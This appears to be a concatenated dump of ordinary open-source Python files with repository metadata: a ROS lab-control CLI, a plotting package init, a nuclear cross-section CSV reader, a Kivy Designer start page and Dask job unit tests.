parser.add_argument('-f','--figure',action="store_true", default=False, help='process data figure') # parser.add_argument('-r','--reuse-background-images',action="store_true", # help='reuse background images when testing') parser.add_argument('-m','--manual',action="store_true", help='launch manual control GUI') args = parser.parse_args() if args.process_path: process(args.process_path,args.overwrite,args.tracking,args.video,args.figure) elif args.calibrate: calibrate() # elif args.save_images: # save_images() elif args.manual: manual(args.no_usb_hardware) elif args.experiment: experiment(args.no_usb_hardware)

37.8

118

0.65097

from __future__ import print_function import roslib roslib.load_manifest('faa_computer_admin') import rospy import argparse import subprocess from faa_utilities import FindData from faa_data_processing import TrackingDataProcessor from faa_data_processing import VideoDataProcessor from faa_data_processing import FigureDataProcessor def process(path_list,overwrite,tracking,video,figure): fd = FindData(overwrite) path = path_list[0] if not tracking and not video and not figure: tracking = True video = True figure = True if figure and not tracking: tracking = True if tracking: contains_data = fd.path_contains_tracking_data(path) if not contains_data and overwrite: print("Path does not exist or does not contain tracking data.") elif not contains_data and not overwrite: print("Path does not exist, does not contain tracking data, or tracking data has already been processed.") print("Try -o overwrite switch to reprocess data.") tdp = TrackingDataProcessor(overwrite) tdp.find_and_process_data(path) if video: contains_data = fd.path_contains_video_data(path) if not contains_data and overwrite: print("Path does not exist or does not contain video data.") elif not contains_data and not overwrite: print("Path does not exist, does not contain video data, or video data has already been processed.") print("Try -o overwrite switch to reprocess data.") vdp = VideoDataProcessor(overwrite) vdp.find_and_process_data(path) if figure: contains_data = fd.path_contains_figure_data(path) if not contains_data and overwrite: print("Path does not exist or does not contain figure data.") elif not contains_data and not overwrite: print("Path does not exist, does not contain figure data, or figure data has already been processed.") print("Try -o overwrite switch to reprocess data.") fdp = FigureDataProcessor(overwrite) fdp.find_and_process_data(path) def calibrate(): _roslaunch('calibrate_camera.launch') def experiment(no_usb_hardware): if no_usb_hardware: print("Running in test mode with no USB hardware attached.") options = {'hardware': "false"} else: print("USB hardware attached!") options = {'hardware': "true"} reuse_background_images = False if reuse_background_images: print("Reusing background images.") options['reusing_bg_images'] = "true" else: options['reusing_bg_images'] = "false" _roslaunch('experiment.launch',options) def manual(no_usb_hardware): if no_usb_hardware: print("Running in test mode with no USB hardware attached.") options = {'hardware': "false"} else: print("USB hardware attached!") options = {'hardware': "true"} _roslaunch('manual_control.launch',options) def save_images(): options = {} _roslaunch('save_images.launch',options) def _roslaunch(launch_file,options={}): try: call_list = ['roslaunch', 'faa_launch', launch_file] for option in options: call_list.append(option + ":=" + str(options[option])) subprocess.call(call_list) except KeyboardInterrupt: return def cli(): parser = argparse.ArgumentParser(description='Fly Alcohol Assay Control') parser.add_argument('-c','--calibrate',action="store_true", help='launch calibrate_camera.launch') parser.add_argument('-e','--experiment',action="store_true", default=True, help='launch experiment.launch') parser.add_argument('-n','--no-usb-hardware',action="store_true", help='set testing mode when USB hardware is not attached') parser.add_argument('-p','--process',dest='process_path',nargs=1,default=False, help='process data within directory') parser.add_argument('-o','--overwrite',action="store_true", default=False, help='reprocess data and overwrite processed data files') parser.add_argument('-t','--tracking',action="store_true", default=False, help='process tracking data') parser.add_argument('-v','--video',action="store_true", default=False, help='process videos') parser.add_argument('-f','--figure',action="store_true", default=False, help='process data figure') parser.add_argument('-m','--manual',action="store_true", help='launch manual control GUI') args = parser.parse_args() if args.process_path: process(args.process_path,args.overwrite,args.tracking,args.video,args.figure) elif args.calibrate: calibrate() elif args.manual: manual(args.no_usb_hardware) elif args.experiment: experiment(args.no_usb_hardware)

true

f7103744258570afc23a22f07e345f4e747dd4cc

245

py

Python

DDGraphs/__init__.py

lancelotimb/dd-graphs

ff6f6f2efcdf9e3784c465c8977b41543654b4f0

[ "MIT" ]

null

DDGraphs/__init__.py

lancelotimb/dd-graphs

ff6f6f2efcdf9e3784c465c8977b41543654b4f0

[ "MIT" ]

null

DDGraphs/__init__.py

lancelotimb/dd-graphs

ff6f6f2efcdf9e3784c465c8977b41543654b4f0

[ "MIT" ]

null

from .init import init from .draw_timeseries_graph import draw_timeseries_graph from .draw_pie_charts import draw_pie_chart from .draw_top_list import draw_top_list __all__ = ["init", "draw_timeseries_graph", "draw_pie_chart", "draw_top_list"]

35

78

0.832653

from .init import init from .draw_timeseries_graph import draw_timeseries_graph from .draw_pie_charts import draw_pie_chart from .draw_top_list import draw_top_list __all__ = ["init", "draw_timeseries_graph", "draw_pie_chart", "draw_top_list"]

true

f710381da3f755d00f1686fe84e2e0bb0f62b4dc

1,215

py

Python

pyIsoDep/tests/read_csv.py

MattKrecicki/PYTHON-ISOTOPIC-DEPLETION-PACKAGE

ccad214de8721aa9b499ef70cd39966f18bceb76

[ "MIT" ]

1

2022-01-04T22:21:18.000Z

pyIsoDep/tests/read_csv.py

DanKotlyar/PYTHON-ISOTOPIC-DEPLETION-PACKAGE

d9da8be6eff4ba301f9689ce5c38a5e50856d033

[ "MIT" ]

null

pyIsoDep/tests/read_csv.py

DanKotlyar/PYTHON-ISOTOPIC-DEPLETION-PACKAGE

d9da8be6eff4ba301f9689ce5c38a5e50856d033

[ "MIT" ]

null

# -*- coding: utf-8 -*- """read_csv Read the different csv files Created on Mon Oct 11 21:30:00 2021 @author: Dan Kotlyar Last updated on Mon Oct 11 21:45:00 2021 @author: Dan Kotlyar """ import numpy as np import pandas as pd def ReadCsv(csvFile): data = pd.read_csv('bootstrap.csv') ID = np.array(data['ZAID'], dtype=int) xsTypes = np.array(data['MT'], dtype=int) xsVals = np.array(data["XS [barns]"], dtype=float) N0 = np.array(data["N0 [atoms/b-cm]"], dtype=float) fullID = np.unique(ID) # unique isotopes nIsotopes = len(fullID) # 1-ID, 2-ND, 3-cap, 4-fiss, 5-(n,alpha) xsTable = np.zeros((nIsotopes, 5)) xsTable[:, 0] = fullID # obtain all the cross section types numMTs = np.array([102, 18, 107]) for idx, numMT in enumerate(numMTs): vals, idxFull, idx0 =\ np.intersect1d(fullID, ID[xsTypes == numMT], assume_unique=False, return_indices=True) if idx == 0: xsTable[idxFull, 1] = N0[xsTypes == numMT][idx0] xsTable[idxFull, idx+2] = xsVals[xsTypes == numMT][idx0] idxFields = {"ID": 0, "N0": 1, "sig_c": 2, "sig_alpha": 3, "sig_f": 4} return xsTable, idxFields

28.255814

77

0.604115

import numpy as np import pandas as pd def ReadCsv(csvFile): data = pd.read_csv('bootstrap.csv') ID = np.array(data['ZAID'], dtype=int) xsTypes = np.array(data['MT'], dtype=int) xsVals = np.array(data["XS [barns]"], dtype=float) N0 = np.array(data["N0 [atoms/b-cm]"], dtype=float) fullID = np.unique(ID) nIsotopes = len(fullID) xsTable = np.zeros((nIsotopes, 5)) xsTable[:, 0] = fullID numMTs = np.array([102, 18, 107]) for idx, numMT in enumerate(numMTs): vals, idxFull, idx0 =\ np.intersect1d(fullID, ID[xsTypes == numMT], assume_unique=False, return_indices=True) if idx == 0: xsTable[idxFull, 1] = N0[xsTypes == numMT][idx0] xsTable[idxFull, idx+2] = xsVals[xsTypes == numMT][idx0] idxFields = {"ID": 0, "N0": 1, "sig_c": 2, "sig_alpha": 3, "sig_f": 4} return xsTable, idxFields

true

f710383da7cf5e7b2bacdc981bb14cc2aeedc558

6,434

py

Python

components/start_page.py

SrGambiarra/KivyStudioDesigner

7f617b60aef3d5e99865cb559b9b5ee93a1988f5

[ "MIT" ]

3

2022-03-05T21:54:34.000Z

2022-03-15T12:55:45.000Z

components/start_page.py

SrGambiarra/KivyStudioDesigner

7f617b60aef3d5e99865cb559b9b5ee93a1988f5

[ "MIT" ]

2

2022-03-13T04:15:47.000Z

2022-03-30T11:51:41.000Z

components/start_page.py

SrGambiarra/KivyStudioDesigner

7f617b60aef3d5e99865cb559b9b5ee93a1988f5

[ "MIT" ]

null

__all__ = [ 'DesignerLinkLabel', 'RecentItem', 'RecentFilesBox' 'DesignerStartPage'] from utils.utils import get_designer, get_fs_encoding from kivy.properties import ObjectProperty, StringProperty from kivy.uix.scrollview import ScrollView from kivy.uix.boxlayout import BoxLayout from kivy.lang.builder import Builder from kivy.uix.button import Button import webbrowser Builder.load_string(""" #: import theme_atlas utils.utils.theme_atlas <DesignerButtonFit@DesignerButton> size_hint_x: None width: (self.texture_size[0]+sp(32)) <DesignerStartPage>: btn_open: btn_open btn_new: btn_new recent_files_box: recent_files_box orientation: 'vertical' padding: (0, 0, 0, dp(20)) Label: text: 'Kivy Designer' font_size: '26pt' size_hint_y: None height: '40pt' Label: markup: True text: '[i]Innovative User Interfaces, Desktop, and Mobile Development Made Easy.[/i]' font_size: pt(12) halign: 'center' size_hint_y: None height: '15pt' GridLayout: cols: 2 size_hint: None, None height: self.minimum_height width: self.minimum_width pos_hint: {'center_x': 0.5} padding: (0, pt(15), 0, 0) spacing: '4sp' DesignerButtonFit: id: btn_open text: 'Open Project' on_release: root.dispatch('on_open_down') DesignerButtonFit: id: btn_new text: 'New Project' on_release: root.dispatch('on_new_down') Label: text: 'Getting Started' font_size: '16pt' bold: True size_hint_y: None height: '30pt' GridLayout: kivy_label: kivy_label cols: 2 size_hint: None, None height: self.minimum_height width: '450dp' pos_hint: {'center_x': 0.5} row_force_default: True row_default_height: '40sp' spacing: '4sp' padding: '16sp', '0sp' DesignerLinkLabel: id: kivy_label text: ' Kivy' link: 'http://kivy.org' DesignerLinkLabel: text: ' Kivy Designer Help' on_release: root.dispatch('on_help') DesignerLinkLabel: id: kivy_label text: ' Kivy Documentation' link: 'http://kivy.org/docs' DesignerLinkLabel: text: ' Kivy Designer Documentation' link: 'http://kivy-designer.readthedocs.org/' Label: text: 'Recent Projects' font_size: '16pt' bold: True size_hint_y: None height: '30pt' RecentFilesBox: id: recent_files_box pos_hint: {'center_x': 0.5} size_hint_x: None width: '600dp' canvas.before: Color: rgba: (1, 1, 1, 0.05) Rectangle: pos: self.pos size: self.size <DesignerLinkLabel>: color: (0, 0, 1, 1) background_normal: theme_atlas('action_item') background_disabled_normal: theme_atlas('action_item_disabled') text_size: self.width, None <RecentFilesBox>: grid: grid cols: 1 padding: '2sp' size_hint_x: None bar_width: '10dp' scroll_type: ['bars', 'content'] GridLayout: id: grid cols: 1 size_hint_y: None height: '1dp' <RecentItem>: orientation: 'vertical' size_hint: 1, None height: '40dp' on_touch_down: if self.collide_point(*args[1].pos): root.dispatch('on_press') canvas.after: Color: rgb: (0.2, 0.2, 0.2) Rectangle: pos: ((self.x+dp(25)), self.y) size: ((self.width-dp(50)), dp(1)) Label: text: root.path text_size: self.size valign: 'middle' shorten: True padding_x: '20dp' """) class DesignerLinkLabel(Button): '''DesignerLinkLabel displays a http link and opens it in a browser window when clicked. ''' link = StringProperty(None) '''Contains the http link to be opened. :data:`link` is a :class:`~kivy.properties.StringProperty` ''' def on_release(self, *args): '''Default event handler for 'on_release' event. ''' if self.link: webbrowser.open(self.link) class RecentItem(BoxLayout): path = StringProperty('') '''Contains the application path :data:`path` is a :class:`~kivy.properties.StringProperty` ''' __events__ = ('on_press', ) def on_press(self, *args): '''Item pressed ''' class RecentFilesBox(ScrollView): '''Container consistings of buttons, with their names specifying the recent files. ''' grid = ObjectProperty(None) '''The grid layout consisting of all buttons. This property is an instance of :class:`~kivy.uix.gridlayout` :data:`grid` is a :class:`~kivy.properties.ObjectProperty` ''' def __init__(self, **kwargs): super(RecentFilesBox, self).__init__(**kwargs) def add_recent(self, list_files): '''To add buttons representing Recent Files. :param list_files: array of paths ''' for p in list_files: if isinstance(p, bytes): p = p.decode(get_fs_encoding()) recent_item = RecentItem(path=p) self.grid.add_widget(recent_item) recent_item.bind(on_press=self.btn_release) self.grid.height += recent_item.height self.grid.height = max(self.grid.height, self.height) def btn_release(self, instance): '''Event Handler for 'on_release' of an event. ''' d = get_designer() d.ids.toll_bar_top._perform_open(instance.path) class DesignerStartPage(BoxLayout): recent_files_box = ObjectProperty(None) '''This property is an instance of :class:`~designer.components.start_page.RecentFilesBox` :data:`recent_files_box` is a :class:`~kivy.properties.ObjectProperty` ''' __events__ = ('on_open_down', 'on_new_down', 'on_help') def on_open_down(self, *args): '''Default Event Handler for 'on_open_down' ''' pass def on_new_down(self, *args): '''Default Event Handler for 'on_new_down' ''' pass def on_help(self, *args): '''Default Event Handler for 'on_help' ''' pass

27.495726

93

0.594809

__all__ = [ 'DesignerLinkLabel', 'RecentItem', 'RecentFilesBox' 'DesignerStartPage'] from utils.utils import get_designer, get_fs_encoding from kivy.properties import ObjectProperty, StringProperty from kivy.uix.scrollview import ScrollView from kivy.uix.boxlayout import BoxLayout from kivy.lang.builder import Builder from kivy.uix.button import Button import webbrowser Builder.load_string(""" #: import theme_atlas utils.utils.theme_atlas <DesignerButtonFit@DesignerButton> size_hint_x: None width: (self.texture_size[0]+sp(32)) <DesignerStartPage>: btn_open: btn_open btn_new: btn_new recent_files_box: recent_files_box orientation: 'vertical' padding: (0, 0, 0, dp(20)) Label: text: 'Kivy Designer' font_size: '26pt' size_hint_y: None height: '40pt' Label: markup: True text: '[i]Innovative User Interfaces, Desktop, and Mobile Development Made Easy.[/i]' font_size: pt(12) halign: 'center' size_hint_y: None height: '15pt' GridLayout: cols: 2 size_hint: None, None height: self.minimum_height width: self.minimum_width pos_hint: {'center_x': 0.5} padding: (0, pt(15), 0, 0) spacing: '4sp' DesignerButtonFit: id: btn_open text: 'Open Project' on_release: root.dispatch('on_open_down') DesignerButtonFit: id: btn_new text: 'New Project' on_release: root.dispatch('on_new_down') Label: text: 'Getting Started' font_size: '16pt' bold: True size_hint_y: None height: '30pt' GridLayout: kivy_label: kivy_label cols: 2 size_hint: None, None height: self.minimum_height width: '450dp' pos_hint: {'center_x': 0.5} row_force_default: True row_default_height: '40sp' spacing: '4sp' padding: '16sp', '0sp' DesignerLinkLabel: id: kivy_label text: ' Kivy' link: 'http://kivy.org' DesignerLinkLabel: text: ' Kivy Designer Help' on_release: root.dispatch('on_help') DesignerLinkLabel: id: kivy_label text: ' Kivy Documentation' link: 'http://kivy.org/docs' DesignerLinkLabel: text: ' Kivy Designer Documentation' link: 'http://kivy-designer.readthedocs.org/' Label: text: 'Recent Projects' font_size: '16pt' bold: True size_hint_y: None height: '30pt' RecentFilesBox: id: recent_files_box pos_hint: {'center_x': 0.5} size_hint_x: None width: '600dp' canvas.before: Color: rgba: (1, 1, 1, 0.05) Rectangle: pos: self.pos size: self.size <DesignerLinkLabel>: color: (0, 0, 1, 1) background_normal: theme_atlas('action_item') background_disabled_normal: theme_atlas('action_item_disabled') text_size: self.width, None <RecentFilesBox>: grid: grid cols: 1 padding: '2sp' size_hint_x: None bar_width: '10dp' scroll_type: ['bars', 'content'] GridLayout: id: grid cols: 1 size_hint_y: None height: '1dp' <RecentItem>: orientation: 'vertical' size_hint: 1, None height: '40dp' on_touch_down: if self.collide_point(*args[1].pos): root.dispatch('on_press') canvas.after: Color: rgb: (0.2, 0.2, 0.2) Rectangle: pos: ((self.x+dp(25)), self.y) size: ((self.width-dp(50)), dp(1)) Label: text: root.path text_size: self.size valign: 'middle' shorten: True padding_x: '20dp' """) class DesignerLinkLabel(Button): link = StringProperty(None) def on_release(self, *args): if self.link: webbrowser.open(self.link) class RecentItem(BoxLayout): path = StringProperty('') __events__ = ('on_press', ) def on_press(self, *args): class RecentFilesBox(ScrollView): grid = ObjectProperty(None) def __init__(self, **kwargs): super(RecentFilesBox, self).__init__(**kwargs) def add_recent(self, list_files): for p in list_files: if isinstance(p, bytes): p = p.decode(get_fs_encoding()) recent_item = RecentItem(path=p) self.grid.add_widget(recent_item) recent_item.bind(on_press=self.btn_release) self.grid.height += recent_item.height self.grid.height = max(self.grid.height, self.height) def btn_release(self, instance): d = get_designer() d.ids.toll_bar_top._perform_open(instance.path) class DesignerStartPage(BoxLayout): recent_files_box = ObjectProperty(None) __events__ = ('on_open_down', 'on_new_down', 'on_help') def on_open_down(self, *args): pass def on_new_down(self, *args): pass def on_help(self, *args): pass

true

f710388df0a9cbdd89b532dfa9a6713fd5628352

19,496

py

Python

tests/unit_tests/test_tethys_compute/test_models/test_dask/test_DaskJob.py

msouff/tethys

45795d1e6561d5db8fddd838f4d1ae1d91dbb837

[ "BSD-2-Clause" ]

null

tests/unit_tests/test_tethys_compute/test_models/test_dask/test_DaskJob.py

msouff/tethys

45795d1e6561d5db8fddd838f4d1ae1d91dbb837

[ "BSD-2-Clause" ]

1

2018-09-20T21:27:14.000Z

tests/unit_tests/test_tethys_compute/test_models/test_dask/test_DaskJob.py

msouff/tethys

45795d1e6561d5db8fddd838f4d1ae1d91dbb837

[ "BSD-2-Clause" ]

null

from tethys_sdk.testing import TethysTestCase from tethys_compute.models.dask.dask_scheduler import Scheduler, DaskScheduler from tethys_compute.models.dask.dask_job import DaskJob from django.contrib.auth.models import User import dask from unittest import mock import time @dask.delayed def inc(x): return x + 1 @dask.delayed def double(x): return x + 2 @dask.delayed def add(x, y): time.sleep(2) return x + y class DaskJobTest(TethysTestCase): def set_up(self): self.user = User.objects.create_user('tethys_super', 'user@example.com', 'pass') self.scheduler = DaskScheduler( name='test_dask_scheduler', host='127.0.0.1:8000', timeout=10, heartbeat_interval=5, dashboard='test_dashboard', ) self.scheduler.save() def tear_down(self): self.scheduler.delete() @mock.patch('tethys_compute.models.dask.dask_job.Client') def test_client_prop_with_invalid_scheduler(self, mock_client): mock_client.return_value = 'test_client' djob = DaskJob(name='test_dj', user=self.user, key='test_key', label='label', scheduler=None) # Execute ret = djob.client # Check result self.assertEqual('test_client', ret) mock_client.assert_called() @mock.patch('tethys_compute.models.dask.dask_scheduler.Client') def test_client_prop_with_valid_scheduler(self, mock_client): mock_client.return_value = 'test_client' dask_scheduler = Scheduler.objects.get_subclass(name='test_dask_scheduler') djob = DaskJob(name='test_dj', user=self.user, key='test_key', label='label', scheduler=dask_scheduler) # Execute ret = djob.client # Check result self.assertEqual('test_client', ret) mock_client.assert_called_with(address='127.0.0.1:8000', heartbeat_interval=5, timeout=10) @mock.patch('tethys_compute.models.dask.dask_job.Client') def test_client_no_scheduler_prop(self, mock_client): mock_client.return_value = 'test_default_client' # Create DaskJob djob = DaskJob(name='test_dj', user=self.user, label='label') # Execute ret = djob.client # Check result self.assertEqual('test_default_client', ret) mock_client.assert_called_with() @mock.patch('tethys_compute.models.dask.dask_scheduler.Client') @mock.patch('tethys_compute.models.dask.dask_job.Future') def test_future_prop(self, mock_future, mock_client): mock_client_ret = mock.MagicMock() mock_client.return_value = mock_client_ret mock_client_ret.submit.return_value = mock.MagicMock(key='test_key') # Create DaskJob djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) # Get Scheduler Client from DaskJob using client property client = djob.client # Use this Client to run rando function with a future handler future = client.submit(inc, 1) # Get the key from future handler and assign it to DaskJob key to keep track of this inc function djob.key = future.key # Use DaskJob future property to get back the inc function ret = djob.future # Check result mock_future.assert_called_with(key='test_key', client=mock_client_ret) self.assertEqual(mock_future(), ret) @mock.patch('tethys_compute.models.dask.dask_scheduler.Client') def test_future_prop_no_key(self, mock_client): mock_client_ret = mock.MagicMock() mock_client.return_value = mock_client_ret mock_client_ret.submit.return_value = mock.MagicMock(key='test_key') # Create DaskJob djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) # Get Scheduler Client from DaskJob using client property client = djob.client # Use this Client to run inc function with a future handler client.submit(inc, 1) # Use DaskJob future property to get back the inc function ret = djob.future # Check result self.assertIsNone(ret) @mock.patch('tethys_compute.models.dask.dask_job.log') @mock.patch('tethys_compute.models.dask.dask_scheduler.Client') @mock.patch('tethys_compute.models.dask.dask_job.Future') def test_future_prop_exception(self, mock_future, mock_client, mock_log): mock_client_ret = mock.MagicMock() mock_client.return_value = mock_client_ret mock_client_ret.submit.return_value = mock.MagicMock(key='test_key') mock_future.side_effect = Exception('exception in creating future') # Create DaskJob djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) # Get Scheduler Client from DaskJob using client property client = djob.client # Use this Client to run inc function with a future handler future = client.submit(inc, 1) # Get the key from future handler and assign it to DaskJob key to keep track of this inc function djob.key = future.key # Use DaskJob future property to get back the inc function ret = djob.future # Check result self.assertIsNone(ret) mock_log.exception.assert_called_with('Dask Future Init Error') @mock.patch('tethys_compute.models.dask.dask_job.fire_and_forget') @mock.patch('django.db.models.base.Model.save') @mock.patch('tethys_compute.models.dask.dask_scheduler.Client') def test_execute_delayed(self, mock_client, mock_save, mock_ff): mock_client_ret = mock.MagicMock() mock_client.return_value = mock_client_ret mock_future = mock.MagicMock(key='test_key') mock_client_ret.compute.return_value = mock_future # Create DaskJob djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) # Delayed option delayed = dask.delayed(inc)(1) # _Execute djob._execute(delayed) # Check result mock_client_ret.compute.assert_called_with(delayed) self.assertEqual('test_key', djob.key) mock_save.assert_called() mock_ff.assert_called_with(mock_future) @mock.patch('tethys_compute.models.dask.dask_job.isinstance') @mock.patch('tethys_compute.models.dask.dask_job.fire_and_forget') @mock.patch('django.db.models.base.Model.save') @mock.patch('tethys_compute.models.dask.dask_scheduler.Client') def test_execute_future(self, mock_client, mock_save, mock_ff, mock_isinstance): mock_client.return_value = mock.MagicMock() mock_isinstance.side_effect = [True, False] # Create DaskJob djob = DaskJob( name='test_dj', user=self.user, label='label', scheduler=self.scheduler ) # get client from DaskJob client = djob.client # Future option future = client.submit(inc, 2) # _Execute djob._execute(future) # Check result self.assertEqual(future.key, djob.key) mock_save.assert_called() mock_ff.assert_called_with(future) def test_execute_not_future_delayed(self): # Create DaskJob djob = DaskJob( name='test_dj', user=self.user, label='label', scheduler=self.scheduler ) # _Execute self.assertRaises(ValueError, djob._execute, 1) @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.client') @mock.patch('django.db.models.base.Model.save') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.future') def test_update_status(self, mock_future, mock_save, mock_client): mock_future.status = 'finished' # Create DaskJob djob = DaskJob( name='test_dj', user=self.user, label='label', scheduler=self.scheduler ) # call the function djob._update_status() # check the results mock_client.close.assert_called() mock_save.assert_called() def test_update_status_with_no_future(self): # Create DaskJob djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) # check the results self.assertIsNone(djob._update_status()) @mock.patch('tethys_compute.models.dask.dask_job.log') @mock.patch('django.db.models.base.Model.save') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.future') def test_update_status_exception(self, mock_future, mock_save, mock_log): # Invalid status key mock_future.status = 'foo' # Create DaskJob djob = DaskJob( name='test_dj', user=self.user, label='label', scheduler=self.scheduler ) # call the function djob._update_status() # check the results mock_log.error.assert_called_with('Unknown Dask Status: "foo"') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob._acquire_pr_lock') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob._release_pr_lock') def test_process_result_with_failed_lock(self, mock_re_lock, mock_apl): mock_apl.return_value = False # Create DaskJob djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler, _process_results_function='test_function') # call the function self.assertIsNone(djob._process_results()) # check the result mock_re_lock.assert_not_called() @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.future', new_callable=mock.PropertyMock(return_value=None)) @mock.patch('tethys_compute.models.dask.dask_job.DaskJob._acquire_pr_lock') def test_process_result_no_future(self, mock_apl, _): mock_apl.return_value = True # Create DaskJob djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler, _process_results_function='test_function') # call the function self.assertIsNone(djob._process_results()) @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.client') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.future', new_callable=mock.PropertyMock()) def test_process_result_forget(self, _, mock_client): # Create DaskJob djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler, forget=True) # call the function ret = djob._process_results() # check the result mock_client.close.assert_called() self.assertIsNone(ret) @mock.patch('tethys_compute.models.tethys_job.TethysFunctionExtractor') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.future') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.client') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob._acquire_pr_lock') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob._release_pr_lock') def test_process_result_with_result_function(self, mock_re_lock, mock_apl, mock_client, mock_future, mock_tfe): fake_key = 'sum_faef' mock_function_extractor = mock.MagicMock() mock_function = mock.MagicMock(return_value='foo') mock_function_extractor.valid = True mock_function_extractor.function = mock_function mock_tfe.return_value = mock_function_extractor mock_apl.return_value = True # Create DaskJob djob = DaskJob( name='test_dj', user=self.user, label='label', scheduler=self.scheduler, _process_results_function='test_function' ) djob.key = fake_key # call the function djob._process_results() # check the result mock_client.close.assert_called() mock_client.gather.assert_called_with(mock_future) mock_function.assert_called_with(mock_client.gather()) mock_client.set_metadata.assert_called_with(fake_key, False) self.assertEqual('', djob.key) mock_re_lock.assert_called() @mock.patch('tethys_compute.models.tethys_job.TethysFunctionExtractor') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.future') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.client') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob._acquire_pr_lock') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob._release_pr_lock') @mock.patch('tethys_compute.models.dask.dask_job.log') def test_process_result_with_client_gather_exception(self, mock_logger, mock_re_lock, mock_apl, mock_client, mock_future, mock_tfe): mock_function_extractor = mock.MagicMock() mock_function = mock.MagicMock(return_value='foo') mock_function_extractor.valid = True mock_function_extractor.function = mock_function mock_tfe.return_value = mock_function_extractor mock_apl.return_value = True gather_exception = Exception('Fake exception') mock_client.gather.side_effect = gather_exception # Create DaskJob djob = DaskJob( name='test_dj', user=self.user, label='label', scheduler=self.scheduler, _process_results_function='test_function' ) # call the function djob._process_results() # check the result mock_client.gather.assert_called_with(mock_future) mock_logger.warning.assert_called() mock_function.assert_called_with(gather_exception) mock_re_lock.assert_called() @mock.patch('django.db.models.base.Model.save') @mock.patch('tethys_compute.models.dask.dask_job.log') @mock.patch('tethys_compute.models.tethys_job.TethysFunctionExtractor') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.future') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.client') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob._acquire_pr_lock') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob._release_pr_lock') def test_process_result_with_result_function_with_exception(self, mock_re_lock, mock_apl, _, mock_client, mock_tfe, mock_log, mock_save): mock_function_extractor = mock.MagicMock() mock_function = mock.MagicMock() mock_function.side_effect = Exception mock_function_extractor.valid = True mock_function_extractor.function = mock_function mock_tfe.return_value = mock_function_extractor mock_apl.return_value = True # Create DaskJob djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler, _process_results_function='test_function') # call the function djob._process_results() # check the result mock_log.exception.assert_called_with('Process Results Function Error') self.assertEqual('ERR', djob._status) mock_save.assert_called() mock_re_lock.assert_called() @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.future') def test_stop(self, mock_future): # Create DaskJob djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) # call the stop function djob.stop() # Check result mock_future.cancel.assert_called() def test_pause(self): djob = DaskJob(name='test_dj', user=self.user, key='test_key', label='label', scheduler=self.scheduler) # Execute and heck result self.assertRaises(NotImplementedError, djob.pause) def test_resume(self): djob = DaskJob(name='test_dj', user=self.user, key='test_key', label='label', scheduler=self.scheduler) # Execute and heck result self.assertRaises(NotImplementedError, djob.resume) def test_result(self): # Create DaskJob djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) # need to convert to string because it will convert to string when saving to the database djob.result = 'serialized_results' # call the function ret = djob.result # Check result self.assertEqual('serialized_results', ret) def test_result_none(self): # Create DaskJob djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) djob.result = None # call the function ret = djob.result # Check result self.assertIsNone(ret) @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.future') def test_done(self, mock_future): # Create DaskJob djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) # call the done function ret = djob.done() # Check result mock_future.done.assert_called() self.assertEqual(mock_future.done(), ret) def test_done_with_no_future(self): # Create DaskJob djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) # Check result self.assertIsNone(djob.done()) def test_update_status_interval_prop(self): from datetime import timedelta # Create DaskJob djob = DaskJob(name='test_daskjob', user=self.user, label='label') djob.save() ret = DaskJob.objects.get(name='test_daskjob').update_status_interval # Check result self.assertIsInstance(ret, timedelta) self.assertEqual(timedelta(0, 0), ret) djob.delete() @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.future') def test_retry(self, mock_future): # Create DaskJob djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) # call the done function djob.retry() # Check result mock_future.retry.assert_called() def test_retry_no_future(self): # Create DaskJob djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) # call the done function self.assertIsNone(djob.retry()) @mock.patch('tethys_compute.models.dask.dask_job.log') def test_fail_acquire_pr_lock(self, mock_log): # Create DaskJob djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) djob.extended_properties['processing_results'] = True self.assertFalse(djob._acquire_pr_lock()) mock_log.warning.assert_called_with('Unable to aquire lock. Processing results already occurring. Skipping...') @mock.patch('django.db.models.base.Model.save') def test_fail_release_pr_lock(self, mock_save): # Create DaskJob djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) djob.extended_properties['processing_results'] = True djob._release_pr_lock() self.assertFalse(djob.extended_properties['processing_results']) mock_save.assert_called()

36.237918

119

0.671933

